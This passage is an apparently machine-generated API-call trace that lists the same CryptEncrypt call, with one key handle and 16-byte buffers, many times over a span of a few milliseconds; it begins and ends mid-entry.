hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.356] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.357] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.358] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.359] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt 